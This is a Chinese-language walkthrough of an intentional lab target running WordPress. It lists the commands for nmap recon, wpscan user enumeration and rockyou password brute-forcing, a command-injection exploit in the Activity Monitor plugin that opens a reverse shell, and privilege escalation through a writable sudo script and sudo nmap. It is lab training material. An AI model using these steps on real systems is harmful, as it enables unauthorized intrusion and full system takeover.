一、准备工作
kali和靶机都选择NAT模式(kali与靶机同网段)
1.靶场环境
下载链接: 百度网盘 请输入提取码 提取码: bazx
2.kali的ip
命令:ifconfig
3.靶机的ip
扫描靶机ip
命令:sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)扫描靶机开放的端口及其服务
nmap -sV -p- 192.168.101.119
(2)看看详细信息
nmap -A -p- 192.168.101.119
2.网站的信息收集
(1)访问靶机的网站
1.先从80端口寻找突破口,访问一下http://192.168.101.119 ,发现URL栏写的不是靶机的ip,而是http://wordy/,而很明显,DNS没有解析出来
2.回过头来注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件
(2)配置hosts文件
1.sudo vim /etc/hosts ;在文件添加:192.168.101.115(靶机ip) wordy
2.再次访问http://192.168.101.115
没有发现啥有用信息,只是知道这个是一个WordPress网站
(3)用wpscan工具看看这个靶机网站有什么用户
wpscan --url http://wordy --enumerate u
发现了几个用户
(4)用dirb扫描看看网站的后台登录是哪个网址
dirb http://wordy
1.打开http://wordy/wp-admin/ ,发现登录网址
(5)wpscan字典爆破
1.在桌面创建一个wordy-pass1.dic文件
2.将rockyou.txt里面的密码复制到wordy-pass1.dic
cd /usr/share/wordlists/
ls
cp rockyou.txt /home/kali/桌面/wordy-pass1.dic
3.将刚才得到的用户放在文件user.txt
vim user.txt
cat user.txt
3.使用wpscan进行密码爆破
常规的方法跑太费时间,把一部分密码拿出来跑
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
wpscan --ignore-main-redirect --url http://wordy -U user.txt -P wordy-pass1.dic --force
得出Username: mark, Password: helpdesk01
用爆破出来的用户密码登录
成功登录到网站后台
(6)使用mark用户登录后台,发现一个插件Activity monitor,猜测这个插件存在漏洞
1.searchsploitg工具查看Activity monitor漏洞
searchsploit Activity monitor
发现是命令注入漏洞
(1)修改html代码action跳转及shell反弹IP地址到kali本机
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html
cp 45274.html 45274.html.bak
vim 45274.html
(2)Kali临时开启HTTP服务,并访问45274.html页面
python -m SimpleHTTPServer 80
同时在kali终端这边开启监听9999端口,在页面点击submit request后,反弹shell成功
(3)优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
python -c ‘import pty;pty.spawn(“/bin/bash”)’
三、提权
1. 进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码
cd /home/mark/stuff
ls
cat things-to-do.txt
2.用得到的用户密码ssh远程登录
ssh graham@192.168.101.119
3. graham用户成功登录后,查看当前用户可以执行的操作
sudo -l
发现可以运行jens用户下面的backups.sh
4.查看backups.sh
cd /home/jens
ls
cat backups.sh
5. 在backups.sh文件中写入/bin/bash,并以jens用户去执行该脚本
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
6.获得jens用户权限时,查看jens用户可执行的操作
sudo -l
发现jens用户可以在无密码状态下使用nmap命令
7. 发现flag
写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
cd /root
cat theflag.txt